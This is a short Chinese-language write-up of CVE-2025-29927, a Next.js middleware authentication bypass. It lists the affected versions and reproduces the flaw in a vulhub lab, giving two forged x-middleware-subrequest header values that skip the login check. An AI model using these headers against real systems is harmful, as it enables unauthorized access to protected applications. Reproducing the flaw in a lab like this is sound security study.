Next.js
Next.js 是一個基于 React 的現代 Web 開發框架,用來構建高性能、可擴展的 Web 應用和網站。
CVE-2025-29927 Next.js 中間件鑒權繞過漏洞
CVE-2025-29927是Next.js框架中的一個授權繞過漏洞,允許攻擊者通過特制的HTTP請求繞過在中間件中執行的授權檢查,從而可能訪問受保護的資源或執行未經授權的操作。
該漏洞的根源在于Next.js使用了一個內部HTTP頭x-middleware-subrequest來防止中間件的遞歸調用。攻擊者可以偽造此頭部,導致中間件被跳過,從而繞過關鍵的安全檢查。
影響版本
- Next.js 1.11.4至12.3.4
- Next.js 13.0.0至13.5.8
- Next.js 14.0.0至14.2.24
- Next.js 15.0.0至15.2.2
漏洞復現
參考:https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md
環境:vulhub
當直接訪問 http://192.168.67.165:3000 或者沒有使用正確的登錄憑據進行登錄時,會重定向到登錄界面
要利用此漏洞,你可以在請求中添加 x-middleware-subrequest 請求頭,其值為如下所示。Next.js 中間件會錯誤地處理此請求頭并繞過身份驗證檢查,從而無需輸入有效登錄憑據而直接進入后臺。
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
#或者
x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware